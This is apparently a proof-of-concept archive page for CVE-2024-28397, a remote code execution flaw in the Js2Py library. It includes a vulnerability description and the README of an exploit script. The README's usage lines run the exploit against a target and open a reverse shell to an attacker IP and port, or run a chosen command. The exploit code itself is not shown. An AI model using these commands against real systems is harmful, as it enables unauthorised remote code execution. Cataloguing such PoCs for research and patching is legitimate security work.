Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-28397 PoC — Js2Py 安全漏洞

Source
Associated Vulnerability
Title:Js2Py 安全漏洞 (CVE-2024-28397)
Description:Js2Py是Python基金会的一个库。用于将 JavaScript 转换为 Python 代码。 Js2Py 0.74 及之前版本存在安全漏洞,该漏洞源于组件 js2py.disable_pyimport() 中存在一个问题,攻击者利用该漏洞可以通过精心设计的 API 调用执行任意代码。
Readme
# CVE-2024-28397 RCE Script

Default reverse shell payload and optional command argument allowed

exploit works for js2py <= v0.74

## Requirements

- Python 3.x  
- `requests` library (`pip install requests`)  
- Netcat listener (for reverse shell)

## Example usage

Reverse shell:

```bash
python exploit.py 10.129.227.108 /run_code --local_ip 10.10.14.71 --local_port 4444
```
Custom command:

```bash
python exploit.py 10.129.227.108 /run_code --cmd "id"
```
File Snapshot

[4.0K] /data/pocs/c79036aa100d8f5e404d1836e6465c88fca38b63 ├── [2.1K] CVE-2024-28397-RCE.py └── [ 464] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.